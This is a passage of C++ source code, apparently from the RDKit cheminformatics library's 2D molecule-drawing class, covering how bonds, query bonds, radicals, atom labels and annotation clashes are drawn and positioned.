{\n      d2d.setActiveAtmIdx(bond.getEndAtomIdx());\n    }\n    {\n      Point2D l1s, l1f, l2s, l2f;\n      calcDoubleBondLines(bond.getOwningMol(), double_bond_offset, bond, midp,\n                          at2_cds, at_cds, l1s, l1f, l2s, l2f);\n      d2d.drawLine(l1s, l1f);\n      d2d.setDash(tdash);\n      d2d.drawLine(l2s, l2f);\n      d2d.setDash(noDash);\n    }\n  } else if (qry->getDescription() == \"BondNull\") {\n    d2d.setDash(tdash);\n    drawBondLine(d2d, bond, at1_cds, at2_cds);\n    d2d.setDash(noDash);\n  } else if (qry->getDescription() == \"BondAnd\" &&\n             qry->endChildren() - qry->beginChildren() == 2) {\n    auto q1 = *(qry->beginChildren());\n    auto q2 = *(qry->beginChildren() + 1);\n\n    if (q2->getDescription() == \"BondOrder\") {\n      std::swap(q1, q2);\n    }\n    if (q1->getDescription() == \"BondOrder\" &&\n        q2->getDescription() == \"BondInRing\") {\n      drawNormalBond(d2d, bond, false, at1_cds, at2_cds, at_cds, queryColour,\n                     queryColour, double_bond_offset);\n\n      Point2D segment = at2_cds - at1_cds;\n      d2d.setFillPolys(false);\n      auto slw = d2d.drawOptions().scaleBondWidth;\n      d2d.drawOptions().scaleBondWidth = false;\n      auto lw = d2d.lineWidth();\n      d2d.setLineWidth(1);\n      if (!q2->getNegation()) {\n        segment /= segment.length() * 6;\n        Point2D r1 = Point2D(0.5 * segment.x - 0.866 * segment.y,\n                             0.866 * segment.x + 0.5 * segment.y);\n        Point2D r2 =\n            Point2D(0.5 * r1.x - 0.866 * r1.y, 0.866 * r1.x + 0.5 * r1.y);\n        std::vector<Point2D> pts = {midp + segment, midp + r1, midp + r2,\n                                    midp - segment, midp - r1, midp - r2,\n                                    midp + segment};\n        d2d.drawPolygon(pts);\n\n      } else {\n        segment /= segment.length() * 10;\n        auto l = segment.length();\n        Point2D p1 = midp + segment + Point2D(l, l);\n        Point2D p2 = midp + segment - Point2D(l, l);\n        d2d.drawEllipse(p1, p2);\n        p1 = midp - segment + Point2D(l, l);\n        p2 = midp - segment - Point2D(l, l);\n        d2d.drawEllipse(p1, p2);\n      }\n      d2d.drawOptions().scaleBondWidth = slw;\n      d2d.setLineWidth(lw);\n    } else {\n      drawGenericQuery = true;\n    }\n  } else {\n    drawGenericQuery = true;\n  }\n  if (drawGenericQuery) {\n    d2d.setDash(dots);\n    bool orig_slw = d2d.drawOptions().scaleBondWidth;\n    if (highlight_bond) {\n      d2d.drawOptions().scaleBondWidth =\n          d2d.drawOptions().scaleHighlightBondWidth;\n    }\n    drawBondLine(d2d, bond, at1_cds, at2_cds);\n    d2d.drawOptions().scaleBondWidth = orig_slw;\n    d2d.setDash(noDash);\n  }\n  d2d.setActiveAtmIdx();\n}\n\n}  // namespace\n\n// ****************************************************************************\nvoid MolDraw2D::drawBond(\n    const ROMol &, const Bond *bond, int at1_idx, int at2_idx,\n    const vector<int> *, const map<int, DrawColour> *,\n    const vector<int> *highlight_bonds,\n    const map<int, DrawColour> *highlight_bond_map,\n    const std::vector<std::pair<DrawColour, DrawColour>> *bond_colours) {\n  PRECONDITION(bond, \"no bond\");\n  PRECONDITION(activeMolIdx_ >= 0, \"bad mol idx\");\n\n  if (static_cast<unsigned int>(at1_idx) != bond->getBeginAtomIdx()) {\n    std::swap(at1_idx, at2_idx);\n  }\n\n  Point2D at1_cds = at_cds_[activeMolIdx_][at1_idx];\n  Point2D at2_cds = at_cds_[activeMolIdx_][at2_idx];\n\n  double double_bond_offset = options_.multipleBondOffset;\n  // mol files from, for example, Marvin use a bond length of 1 for just about\n  // everything. When this is the case, the default multipleBondOffset is just\n  // too much, so scale it back.\n  if ((at1_cds - at2_cds).lengthSq() < 1.4) {\n    double_bond_offset *= 0.6;\n  }\n\n  adjustBondEndForLabel(atom_syms_[activeMolIdx_][at1_idx], at2_cds, at1_cds);\n  adjustBondEndForLabel(atom_syms_[activeMolIdx_][at2_idx], at1_cds, at2_cds);\n\n  bool highlight_bond = false;\n  if (highlight_bonds &&\n      std::find(highlight_bonds->begin(), highlight_bonds->end(),\n                bond->getIdx()) != highlight_bonds->end()) {\n    highlight_bond = true;\n  }\n\n  DrawColour col1, col2;\n  int orig_lw = lineWidth();\n  if (bond_colours) {\n    col1 = (*bond_colours)[bond->getIdx()].first;\n    col2 = (*bond_colours)[bond->getIdx()].second;\n  } else {\n    if (!highlight_bond) {\n      col1 = getColour(at1_idx);\n      col2 = getColour(at2_idx);\n    } else {\n      if (highlight_bond_map && highlight_bond_map->find(bond->getIdx()) !=\n                                    highlight_bond_map->end()) {\n        col1 = col2 = highlight_bond_map->find(bond->getIdx())->second;\n      } else {\n        col1 = col2 = drawOptions().highlightColour;\n      }\n      if (drawOptions().continuousHighlight) {\n        setLineWidth(getHighlightBondWidth(bond->getIdx(), nullptr));\n      } else {\n        setLineWidth(getHighlightBondWidth(bond->getIdx(), nullptr) / 4);\n      }\n    }\n  }\n\n  bool isComplex = false;\n  if (bond->hasQuery()) {\n    std::string descr = bond->getQuery()->getDescription();\n    if (bond->getQuery()->getNegation() || descr != \"BondOrder\") {\n      isComplex = true;\n      drawQueryBond(*this, *bond, highlight_bond, at1_cds, at2_cds,\n                    at_cds_[activeMolIdx_], double_bond_offset);\n    }\n  }\n\n  if (!isComplex) {\n    drawNormalBond(*this, *bond, highlight_bond, at1_cds, at2_cds,\n                   at_cds_[activeMolIdx_], col1, col2, double_bond_offset);\n  }\n  if (highlight_bond) {\n    setLineWidth(orig_lw);\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawAtomLabel(int atom_num,\n                              const std::vector<int> *highlight_atoms,\n                              const std::map<int, DrawColour> *highlight_map) {\n  drawAtomLabel(atom_num, getColour(atom_num, highlight_atoms, highlight_map));\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawAtomLabel(int atom_num, const DrawColour &draw_colour) {\n  text_drawer_->setColour(draw_colour);\n  Point2D draw_cds = getDrawCoords(atom_num);\n  text_drawer_->drawString(atom_syms_[activeMolIdx_][atom_num].first, draw_cds,\n                           atom_syms_[activeMolIdx_][atom_num].second);\n  // this is useful for debugging the drawings.\n  //  int olw = lineWidth();\n  //  setLineWidth(1);\n  //  text_drawer_->drawStringRects(atom_syms_[activeMolIdx_][atom_num].first,\n  //                                atom_syms_[activeMolIdx_][atom_num].second,\n  //                                draw_cds, *this);\n  //  setLineWidth(olw);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawAnnotation(const AnnotationType &annot) {\n  double full_font_scale = text_drawer_->fontScale();\n  // turn off minFontSize for the annotation, as we do want it to be smaller\n  // than the letters, even if that makes it tiny.  The annotation positions\n  // have been calculated on the assumption that this is the case, and if\n  // minFontSize is applied, they may well clash with the atom symbols.\n  if (annot.scaleText_) {\n    text_drawer_->setFontScale(\n        drawOptions().annotationFontScale * full_font_scale, true);\n  }\n  Point2D draw_cds = getDrawCoords(annot.rect_.trans_);\n  text_drawer_->drawString(annot.text_, draw_cds, annot.align_);\n  if (annot.scaleText_) {\n    text_drawer_->setFontScale(full_font_scale, true);\n  }\n}\n\n// ****************************************************************************\nOrientType MolDraw2D::calcRadicalRect(const ROMol &mol, const Atom *atom,\n                                      StringRect &rad_rect) {\n  int num_rade = atom->getNumRadicalElectrons();\n  double spot_rad = 0.2 * drawOptions().multipleBondOffset;\n  Point2D const &at_cds = at_cds_[activeMolIdx_][atom->getIdx()];\n  string const &at_sym = atom_syms_[activeMolIdx_][atom->getIdx()].first;\n  OrientType orient = atom_syms_[activeMolIdx_][atom->getIdx()].second;\n  double rad_size = (4 * num_rade - 2) * spot_rad;\n  double x_min, y_min, x_max, y_max;\n  Point2D at_draw_cds = getDrawCoords(at_cds);\n  if (!at_sym.empty()) {\n    text_drawer_->getStringExtremes(at_sym, orient, x_min, y_min, x_max, y_max);\n    x_min += at_draw_cds.x;\n    x_max += at_draw_cds.x;\n    y_min += at_draw_cds.y;\n    y_max += at_draw_cds.y;\n  } else {\n    x_min = at_draw_cds.x - 3 * spot_rad * text_drawer_->fontScale();\n    x_max = at_draw_cds.x + 3 * spot_rad * text_drawer_->fontScale();\n    y_min = at_draw_cds.y - 3 * spot_rad * text_drawer_->fontScale();\n    y_max = at_draw_cds.y + 3 * spot_rad * text_drawer_->fontScale();\n  }\n\n  auto rect_to_atom_coords = [&](StringRect &rect) {\n    rect.width_ /= text_drawer_->fontScale();\n    rect.height_ /= text_drawer_->fontScale();\n    rect.trans_ = getAtomCoords(make_pair(rect.trans_.x, rect.trans_.y));\n  };\n\n  auto try_all = [&](OrientType ornt) -> bool {\n    vector<std::shared_ptr<StringRect>> rad_rects(\n        1, std::shared_ptr<StringRect>(new StringRect(rad_rect)));\n    if (!text_drawer_->doesRectIntersect(at_sym, ornt, at_cds, rad_rect) &&\n        !doesAtomNoteClash(rad_rect.trans_, rad_rects, mol, atom->getIdx())) {\n      rect_to_atom_coords(rad_rect);\n      return true;\n    } else {\n      return false;\n    }\n  };\n\n  auto try_north = [&]() -> bool {\n    rad_rect.width_ = rad_size * text_drawer_->fontScale();\n    rad_rect.height_ = spot_rad * 3.0 * text_drawer_->fontScale();\n    rad_rect.trans_.x = at_draw_cds.x;\n    rad_rect.trans_.y = y_max + 0.5 * rad_rect.height_;\n    return try_all(OrientType::N);\n  };\n  auto try_south = [&]() -> bool {\n    rad_rect.width_ = rad_size * text_drawer_->fontScale();\n    rad_rect.height_ = spot_rad * 3.0 * text_drawer_->fontScale();\n    rad_rect.trans_.x = at_draw_cds.x;\n    rad_rect.trans_.y = y_min - 0.5 * rad_rect.height_;\n    return try_all(OrientType::S);\n  };\n  auto try_east = [&]() -> bool {\n    rad_rect.trans_.x = x_max + 3.0 * spot_rad * text_drawer_->fontScale();\n    rad_rect.trans_.y = at_draw_cds.y;\n    rad_rect.width_ = spot_rad * 1.5 * text_drawer_->fontScale();\n    rad_rect.height_ = rad_size * text_drawer_->fontScale();\n    return try_all(OrientType::E);\n  };\n  auto try_west = [&]() -> bool {\n    rad_rect.trans_.x = x_min - 3.0 * spot_rad * text_drawer_->fontScale();\n    rad_rect.trans_.y = at_draw_cds.y;\n    rad_rect.width_ = spot_rad * 1.5 * text_drawer_->fontScale();\n    rad_rect.height_ = rad_size * text_drawer_->fontScale();\n    return try_all(OrientType::W);\n  };\n\n  auto try_rads = [&](OrientType ornt) -> bool {\n    switch (ornt) {\n      case OrientType::N:\n      case OrientType::C:\n        return try_north();\n      case OrientType::E:\n        return try_east();\n      case OrientType::S:\n        return try_south();\n      case OrientType::W:\n        return try_west();\n    }\n    return false;\n  };\n  if (try_rads(orient)) {\n    return orient;\n  }\n  OrientType all_ors[4] = {OrientType::N, OrientType::E, OrientType::S,\n                           OrientType::W};\n  for (int io = 0; io < 4; ++io) {\n    if (orient != all_ors[io]) {\n      if (try_rads(all_ors[io])) {\n        return all_ors[io];\n      }\n    }\n  }\n  // stick them N irrespective of a clash whilst muttering \"sod it\"\n  // under our breath.\n  try_north();\n  return OrientType::N;\n}\n\nnamespace {}  // namespace\n\n// ****************************************************************************\nvoid MolDraw2D::drawRadicals(const ROMol &mol) {\n  // take account of differing font scale and main scale if we've hit\n  // max or min font size.\n  double f_scale = text_drawer_->fontScale() / scale();\n  double spot_rad = 0.2 * drawOptions().multipleBondOffset * f_scale;\n  setColour(DrawColour(0.0, 0.0, 0.0));\n  // Point2D should be in atom coords\n  auto draw_spot = [&](const Point2D &cds) {\n    bool ofp = fillPolys();\n    setFillPolys(true);\n    int olw = lineWidth();\n    setLineWidth(0);\n    drawArc(cds, spot_rad, 0, 360);\n    setLineWidth(olw);\n    setFillPolys(ofp);\n  };\n  // cds in draw coords\n\n  auto draw_spots = [&](const Point2D &cds, int num_spots, double width,\n                        int dir = 0) {\n    Point2D ncds = cds;\n    switch (num_spots) {\n      case 3:\n        draw_spot(ncds);\n        if (dir) {\n          ncds.y = cds.y - 0.5 * width + spot_rad;\n        } else {\n          ncds.x = cds.x - 0.5 * width + spot_rad;\n        }\n        draw_spot(ncds);\n        if (dir) {\n          ncds.y = cds.y + 0.5 * width - spot_rad;\n        } else {\n          ncds.x = cds.x + 0.5 * width - spot_rad;\n        }\n        draw_spot(ncds);\n        /* fallthrough */\n      case 1:\n        draw_spot(cds);\n        break;\n      case 4:\n        if (dir) {\n          ncds.y = cds.y + 6.0 * spot_rad;\n        } else {\n          ncds.x = cds.x + 6.0 * spot_rad;\n        }\n        draw_spot(ncds);\n        if (dir) {\n          ncds.y = cds.y - 6.0 * spot_rad;\n        } else {\n          ncds.x = cds.x - 6.0 * spot_rad;\n        }\n        draw_spot(ncds);\n        /* fallthrough */\n      case 2:\n        if (dir) {\n          ncds.y = cds.y + 2.0 * spot_rad;\n        } else {\n          ncds.x = cds.x + 2.0 * spot_rad;\n        }\n        draw_spot(ncds);\n        if (dir) {\n          ncds.y = cds.y - 2.0 * spot_rad;\n        } else {\n          ncds.x = cds.x - 2.0 * spot_rad;\n        }\n        draw_spot(ncds);\n        break;\n    }\n  };\n\n  size_t rad_num = 0;\n  for (auto atom : mol.atoms()) {\n    int num_rade = atom->getNumRadicalElectrons();\n    if (!num_rade) {\n      continue;\n    }\n    auto rad_rect = radicals_[activeMolIdx_][rad_num].first;\n    OrientType draw_or = radicals_[activeMolIdx_][rad_num].second;\n    if (draw_or == OrientType::N || draw_or == OrientType::S ||\n        draw_or == OrientType::C) {\n      draw_spots(rad_rect->trans_, num_rade, rad_rect->width_, 0);\n    } else {\n      draw_spots(rad_rect->trans_, num_rade, rad_rect->height_, 1);\n    }\n    ++rad_num;\n  }\n}\n\n// ****************************************************************************\ndouble MolDraw2D::getNoteStartAngle(const ROMol &mol, const Atom *atom) const {\n  if (atom->getDegree() == 0) {\n    return M_PI / 2.0;\n  }\n  Point2D at_cds = at_cds_[activeMolIdx_][atom->getIdx()];\n  vector<Point2D> bond_vecs;\n  for (const auto &nbr : make_iterator_range(mol.getAtomNeighbors(atom))) {\n    Point2D bond_vec = at_cds.directionVector(at_cds_[activeMolIdx_][nbr]);\n    bond_vec.normalize();\n    bond_vecs.emplace_back(bond_vec);\n  }\n\n  Point2D ret_vec;\n  if (bond_vecs.size() == 1) {\n    if (atom_syms_[activeMolIdx_][atom->getIdx()].first.empty()) {\n      // go with perpendicular to bond.  This is mostly to avoid getting\n      // a zero at the end of a bond to carbon, which looks like a black\n      // oxygen atom in the default font in SVG and PNG.\n      ret_vec.x = bond_vecs[0].y;\n      ret_vec.y = -bond_vecs[0].x;\n    } else {\n      // go opposite end\n      ret_vec = -bond_vecs[0];\n    }\n  } else if (bond_vecs.size() == 2) {\n    ret_vec = bond_vecs[0] + bond_vecs[1];\n    if (ret_vec.lengthSq() > 1.0e-6) {\n      if (!atom->getNumImplicitHs() || atom->getAtomicNum() == 6) {\n        // prefer outside the angle, unless there are Hs that will be in\n        // the way, probably.\n        ret_vec *= -1.0;\n      }\n    } else {\n      // it must be a -# or == or some such.  Take perpendicular to\n      // one of them\n      ret_vec.x = -bond_vecs.front().y;\n      ret_vec.y = bond_vecs.front().x;\n      ret_vec.normalize();\n    }\n  } else {\n    // just take 2 that are probably adjacent\n    double discrim = 4.0 * M_PI / bond_vecs.size();\n    for (size_t i = 0; i < bond_vecs.size() - 1; ++i) {\n      for (size_t j = i + 1; j < bond_vecs.size(); ++j) {\n        double ang = acos(bond_vecs[i].dotProduct(bond_vecs[j]));\n        if (ang < discrim) {\n          ret_vec = bond_vecs[i] + bond_vecs[j];\n          ret_vec.normalize();\n          discrim = -1.0;\n          break;\n        }\n      }\n    }\n    if (discrim > 0.0) {\n      ret_vec = bond_vecs[0] + bond_vecs[1];\n      ret_vec *= -1.0;\n    }\n  }\n\n  // start angle is the angle between ret_vec and the x axis\n  return atan2(ret_vec.y, ret_vec.x);\n}\n\n// ****************************************************************************\nint MolDraw2D::doesAtomNoteClash(\n    const Point2D &note_pos, const vector<std::shared_ptr<StringRect>> &rects,\n    const ROMol &mol, unsigned int atom_idx) const {\n  auto atom = mol.getAtomWithIdx(atom_idx);\n\n  if (doesNoteClashNbourBonds(note_pos, rects, mol, atom)) {\n    return 1;\n  }\n  if (doesNoteClashAtomLabels(note_pos, rects, mol, atom_idx)) {\n    return 2;\n  }\n  if (doesNoteClashOtherNotes(note_pos, rects)) {\n    return 3;\n  }\n  return 0;\n}\n\n// ****************************************************************************\nint MolDraw2D::doesBondNoteClash(\n    const Point2D &note_pos, const vector<std::shared_ptr<StringRect>> &rects,\n    const ROMol &mol, const Bond *bond) const {\n  string note = bond->getProp<string>(common_properties::bondNote);\n  if (doesNoteClashNbourBonds(note_pos, rects, mol, bond->getBeginAtom())) {\n    return 1;\n  }\n  unsigned int atom_idx = bond->getBeginAtomIdx();\n  if (doesNoteClashAtomLabels(note_pos, rects, mol, atom_idx)) {\n    return 2;\n  }\n  if (doesNoteClashOtherNotes(note_pos, rects)) {\n    return 3;\n  }\n  return 0;\n}\n\n// ****************************************************************************\nbool MolDraw2D::doesNoteClashNbourBonds(\n    const Point2D &note_pos, const vector<std::shared_ptr<StringRect>> &rects,\n    const ROMol &mol, const Atom *atom) const {\n  double double_bond_offset = -1.0;\n  Point2D const &at2_dcds =\n      getDrawCoords(at_cds_[activeMolIdx_][atom->getIdx()]);\n\n  double line_width = lineWidth() * scale() * 0.02;\n  for (const auto &nbr : make_iterator_range(mol.getAtomNeighbors(atom))) {\n    Point2D const &at1_dcds = getDrawCoords(at_cds_[activeMolIdx_][nbr]);\n    if (text_drawer_->doesLineIntersect(rects, note_pos, at1_dcds, at2_dcds,\n                                        line_width)) {\n      return true;\n    }\n    // now see about clashing with other lines if not single\n    auto bond = mol.getBondBetweenAtoms(atom->getIdx(), nbr);\n    Bond::BondType bt = bond->getBondType();\n    if (bt == Bond::SINGLE) {\n      continue;\n    }\n\n    if (double_bond_offset < 0.0) {\n      double_bond_offset = options_.multipleBondOffset;\n      // mol files from, for example, Marvin use a bond length of 1 for just\n      // about everything. When this is the case, the default multipleBondOffset\n      // is just too much, so scale it back.\n      if ((at1_dcds - at2_dcds).lengthSq() < 1.4 * scale()) {\n        double_bond_offset *= 0.6;\n      }\n    }\n    if (bt == Bond::DOUBLE || bt == Bond::AROMATIC || bt == Bond::TRIPLE) {\n      Point2D l1s, l1f, l2s, l2f;\n      if (bt == Bond::DOUBLE || bt == Bond::AROMATIC) {\n        // use the atom coords for this to make sure the perp goes the\n        // correct way (y coordinate issue).\n        calcDoubleBondLines(mol, double_bond_offset, *bond,\n                            at_cds_[activeMolIdx_][nbr],\n                            at_cds_[activeMolIdx_][atom->getIdx()],\n                            at_cds_[activeMolIdx_], l1s, l1f, l2s, l2f);\n      } else {\n        calcTripleBondLines(\n            double_bond_offset, *bond, at_cds_[activeMolIdx_][nbr],\n            at_cds_[activeMolIdx_][atom->getIdx()], l1s, l1f, l2s, l2f);\n      }\n      l1s = getDrawCoords(l1s);\n      l1f = getDrawCoords(l1f);\n      l2s = getDrawCoords(l2s);\n      l2f = getDrawCoords(l2f);\n\n      if (text_drawer_->doesLineIntersect(rects, note_pos, l1s, l1f,\n                                          line_width) ||\n          text_drawer_->doesLineIntersect(rects, note_pos, l2s, l2f,\n                                          line_width)) {\n        return true;\n      }\n    }\n  }\n\n  return false;\n}\n\n// ****************************************************************************\nbool MolDraw2D::doesNoteClashAtomLabels(\n    const Point2D &note_pos, const vector<std::shared_ptr<StringRect>> &rects,\n    const ROMol &mol, unsigned int atom_idx) const {\n  // try the atom_idx first as it's the most likely clash\n  Point2D draw_cds = getDrawCoords(atom_idx);\n  if (text_drawer_->doesStringIntersect(\n          rects, note_pos, atom_syms_[activeMolIdx_][atom_idx].first,\n          atom_syms_[activeMolIdx_][atom_idx].second, draw_cds)) {\n    return true;\n  }\n  // if it's cluttered, it might clash with other labels.\n  for (auto atom : mol.atoms()) {\n    if (atom_idx == atom->getIdx()) {\n      continue;\n    }\n    const auto &atsym = atom_syms_[activeMolIdx_][atom->getIdx()];\n    if (atsym.first.empty()) {\n      continue;\n    }\n    draw_cds = getDrawCoords(atom->getIdx());\n    if (text_drawer_->doesStringIntersect(rects, note_pos, atsym.first,\n                                          atsym.second, draw_cds)) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\n// ****************************************************************************\nbool MolDraw2D::doesNoteClashOtherNotes(\n    const Point2D &note_pos,\n    const vector<std::shared_ptr<StringRect>> &rects) const {\n  for (auto const &annot : annotations_[activeMolIdx_]) {\n    if (text_drawer_->doesRectIntersect(rects, note_pos, annot.rect_)) {\n      return true;\n    }\n  }\n  return false;\n}\n\n// ****************************************************************************\ndouble MolDraw2D::getDrawLineWidth() const {\n  double width = lineWidth();\n  // This works fairly well for SVG and Cairo. 0.02 is picked by eye\n  if (drawOptions().scaleBondWidth) {\n    width *= scale() * 0.02;\n    if (width < 0.0) {\n      width = 0.0;\n    }\n  }\n  return width;\n}\n\n// ****************************************************************************\n// take the coords for atnum, with neighbour nbr_cds, and move cds out to\n// accommodate the label associated with it.\nvoid MolDraw2D::adjustBondEndForLabel(\n    const std::pair<std::string, OrientType> &lbl, const Point2D &nbr_cds,\n    Point2D &cds) const {\n  if (lbl.first.empty()) {\n    return;\n  }\n\n  Point2D draw_cds = getDrawCoords(cds);\n  Point2D nbr_draw_cds = getDrawCoords(nbr_cds);\n\n  text_drawer_->adjustLineForString(lbl.first, lbl.second, nbr_draw_cds,\n                                    draw_cds);\n\n  cds = getAtomCoords(make_pair(draw_cds.x, draw_cds.y));\n\n  if (drawOptions().additionalAtomLabelPadding > 0.0) {\n    // directionVector is normalised.\n    Point2D bond =\n        cds.directionVector(nbr_cds) * drawOptions().additionalAtomLabelPadding;\n    cds += bond;\n  }\n}\n\n// ****************************************************************************\npair<string, OrientType> MolDraw2D::getAtomSymbolAndOrientation(\n    const Atom &atom) const {\n  OrientType orient = getAtomOrientation(atom);\n  string symbol = getAtomSymbol(atom, orient);\n\n  return std::make_pair(symbol, orient);\n}\n\nstd::string getAtomListText(const Atom &atom) {\n  PRECONDITION(atom.hasQuery(), \"no query\");\n  PRECONDITION(atom.getQuery()->getDescription() == \"AtomOr\", \"bad query type\");\n\n  std::string res = \"\";\n  if (atom.getQuery()->getNegation()) {\n    res += \"!\";\n  }\n  res += \"[\";\n  std::vector<int> vals;\n  getAtomListQueryVals(atom.getQuery(), vals);\n  for (unsigned int i = 0; i < vals.size(); ++i) {\n    if (i != 0) {\n      res += \",\";\n    }\n    res += PeriodicTable::getTable()->getElementSymbol(vals[i]);\n  }\n\n  return res + \"]\";\n}\n\n// ****************************************************************************\nstring MolDraw2D::getAtomSymbol(const RDKit::Atom &atom,\n                                OrientType orientation) const {\n  if (drawOptions().noAtomLabels) {\n    return \"\";\n  }\n  // adds XML-like annotation for super- and sub-script, in the same manner\n  // as MolDrawing.py. My first thought was for a LaTeX-like system,\n  // obviously...\n  string symbol;\n  bool literal_symbol = true;\n  unsigned int iso = atom.getIsotope();\n  if (drawOptions().atomLabels.find(atom.getIdx()) !=\n      drawOptions().atomLabels.end()) {\n    // specified labels are trump: no matter what else happens we will show\n    // them.\n    symbol = drawOptions().atomLabels.find(atom.getIdx())->second;\n  } else if (atom.hasProp(common_properties::_displayLabel) ||\n             atom.hasProp(common_properties::_displayLabelW)) {\n    // logic here: if either _displayLabel or _displayLabelW is set, we will\n    // definitely use one of those. if only one is set, we'll use that one if\n    // both are set and the orientation is W then we'll use _displayLabelW,\n    // otherwise _displayLabel\n\n    std::string lbl;\n    std::string lblw;\n    atom.getPropIfPresent(common_properties::_displayLabel, lbl);\n    atom.getPropIfPresent(common_properties::_displayLabelW, lblw);\n    if (lbl.empty()) {\n      lbl = lblw;\n    }\n    if (orientation == OrientType::W && !lblw.empty()) {\n      symbol = lblw;\n    } else {\n      symbol = lbl;\n    }\n  } else if (atom.hasProp(common_properties::atomLabel)) {\n    symbol = atom.getProp<std::string>(common_properties::atomLabel);\n  } else if (drawOptions().dummiesAreAttachments && atom.getAtomicNum() == 0 &&\n             atom.getDegree() == 1) {\n    symbol = \"\";\n    literal_symbol = false;\n  } else if (isAtomListQuery(&atom)) {\n    symbol = getAtomListText(atom);\n  } else if (isComplexQuery(&atom)) {\n    symbol = \"?\";\n  } else if (drawOptions().atomLabelDeuteriumTritium &&\n             atom.getAtomicNum() == 1 && (iso == 2 || iso == 3)) {\n    symbol = ((iso == 2) ? \"D\" : \"T\");\n    iso = 0;\n  } else {\n    literal_symbol = false;\n    std::vector<std::string> preText, postText;\n\n    // first thing after the symbol is the atom map\n    if (atom.hasProp(\"molAtomMapNumber\")) {\n      string map_num = \"\";\n      atom.getProp(\"molAtomMapNumber\", map_num);\n      postText.push_back(std::string(\":\") + map_num);\n    }\n\n    if (0 != atom.getFormalCharge()) {\n      // charge always comes post the symbol\n      int ichg = atom.getFormalCharge();\n      string sgn = ichg > 0 ? string(\"+\") : string(\"-\");\n      ichg = abs(ichg);\n      if (ichg > 1) {\n        sgn = std::to_string(ichg) + sgn;\n      }\n      // put the charge as a superscript\n      postText.push_back(string(\"<sup>\") + sgn + string(\"</sup>\"));\n    }\n\n    int num_h = (atom.getAtomicNum() == 6 && atom.getDegree() > 0)\n                    ? 0\n                    : atom.getTotalNumHs();  // FIX: still not quite right\n\n    if (drawOptions().explicitMethyl && atom.getAtomicNum() == 6 &&\n        atom.getDegree() == 1) {\n      symbol += atom.getSymbol();\n      num_h = atom.getTotalNumHs();\n    }\n\n    if (num_h > 0 && !atom.hasQuery()) {\n      // the H text comes after the atomic symbol\n      std::string h = \"H\";\n      if (num_h > 1) {\n        // put the number as a subscript\n        h += string(\"<sub>\") + std::to_string(num_h) + string(\"</sub>\");\n      }\n      postText.push_back(h);\n    }\n\n    if (0 != iso &&\n        ((drawOptions().isotopeLabels && atom.getAtomicNum() != 0) ||\n         (drawOptions().dummyIsotopeLabels && atom.getAtomicNum() == 0))) {\n      // isotope always comes before the symbol\n      preText.push_back(std::string(\"<sup>\") + std::to_string(iso) +\n                        std::string(\"</sup>\"));\n    }\n\n    symbol = \"\";\n    for (const std::string &se : preText) {\n      symbol += se;\n    }\n\n    // allenes need a C, but extend to any atom with degree 2 and both\n    // bonds in a line.\n    if (isLinearAtom(atom, at_cds_[activeMolIdx_]) ||\n        (atom.getAtomicNum() != 6 || atom.getDegree() == 0 || preText.size() ||\n         postText.size())) {\n      symbol += atom.getSymbol();\n    }\n    for (const std::string &se : postText) {\n      symbol += se;\n    }\n  }\n\n  if (literal_symbol && !symbol.empty()) {\n    symbol = \"<lit>\" + symbol + \"</lit>\";\n  }\n  // cout << \"Atom symbol \" << atom.getIdx() << \" : \" << symbol << endl;\n  return symbol;\n}  // namespace RDKit\n\n// ****************************************************************************\nOrientType MolDraw2D::getAtomOrientation(const RDKit::Atom &atom) const {\n  // cout << \"Atomic \" << atom.getAtomicNum() << \" degree : \"\n  //      << atom.getDegree() << \" : \" << atom.getTotalNumHs() << endl;\n  // anything with a slope of more than 70 degrees is vertical. This way,\n  // the NH in an indole is vertical as RDKit lays it out normally (72ish\n  // degrees) but the 2 amino groups of c1ccccc1C1CCC(N)(N)CC1 are E and W\n  // when they are drawn at the bottom of the molecule.\n  static const double VERT_SLOPE = tan(70.0 * M_PI / 180.0);\n\n  auto &mol = atom.getOwningMol();\n  const Point2D &at1_cds = at_cds_[activeMolIdx_][atom.getIdx()];\n  Point2D nbr_sum(0.0, 0.0);\n  // cout << \"Nbours for atom : \" << at1->getIdx() << endl;\n  for (const auto &nbri : make_iterator_range(mol.getAtomBonds(&atom))) {\n    const Bond *bond = mol[nbri];\n    const Point2D &at2_cds =\n        at_cds_[activeMolIdx_][bond->getOtherAtomIdx(atom.getIdx())];\n    nbr_sum += at2_cds - at1_cds;\n  }\n\n  OrientType orient = OrientType::C;\n  if (atom.getDegree()) {\n    double islope = 1000.0;\n    if (fabs(nbr_sum.x) > 1.0e-4) {\n      islope = nbr_sum.y / nbr_sum.x;\n    }\n    if (fabs(islope) <= VERT_SLOPE) {\n      if (nbr_sum.x > 0.0) {\n        orient = OrientType::W;\n      } else {\n        orient = OrientType::E;\n      }\n    } else {\n      if (nbr_sum.y > 0.0) {\n        orient = OrientType::N;\n      } else {\n        orient = OrientType::S;\n      }\n    }\n    // atoms of single degree should always be either W or E, never N or S.  If\n    // either of the latter, make it E if the slope is close to vertical,\n    // otherwise have it either as required.\n    if (orient == OrientType::N || orient == OrientType::S) {\n      if (atom.getDegree() == 1) {\n        if (fabs(islope) > VERT_SLOPE) {\n          orient = OrientType::E;\n        } else {\n          if (nbr_sum.x > 0.0) {\n            orient = OrientType::W;\n          } else {\n            orient = OrientType::E;\n          }\n        }\n      } else if (atom.getDegree() == 3) {\n        // Atoms of degree 3 can sometimes have a bond pointing down with S\n        // orientation or up with N orientation, which puts the H on the bond.\n        auto &mol = atom.getOwningMol();\n        const Point2D &at1_cds = at_cds_[activeMolIdx_][atom.getIdx()];\n        for (const auto &nbri : make_iterator_range(mol.getAtomBonds(&atom))) {\n          const Bond *bond = mol[nbri];\n          const Point2D &at2_cds =\n              at_cds_[activeMolIdx_][bond->getOtherAtomIdx(atom.getIdx())];\n          Point2D bond_vec = at2_cds - at1_cds;\n          double ang = atan(bond_vec.y / bond_vec.x) * 180.0 / M_PI;\n          if (ang > 80.0 && ang < 100.0 && orient == OrientType::S) {\n            orient = OrientType::N;\n            break;\n          } else if (ang < -80.0 && ang > -100.0 && orient == OrientType::N) {\n            orient = OrientType::S;\n            break;\n          }\n        }\n      }\n    }\n  } else {\n    // last check: degree zero atoms from the last three periods should have\n    // the Hs first\n    static int HsListedFirstSrc[] = {8, 9, 16, 17, 34, 35, 52, 53, 84, 85};\n    std::vector<int> HsListedFirst(\n        HsListedFirstSrc,\n        HsListedFirstSrc + 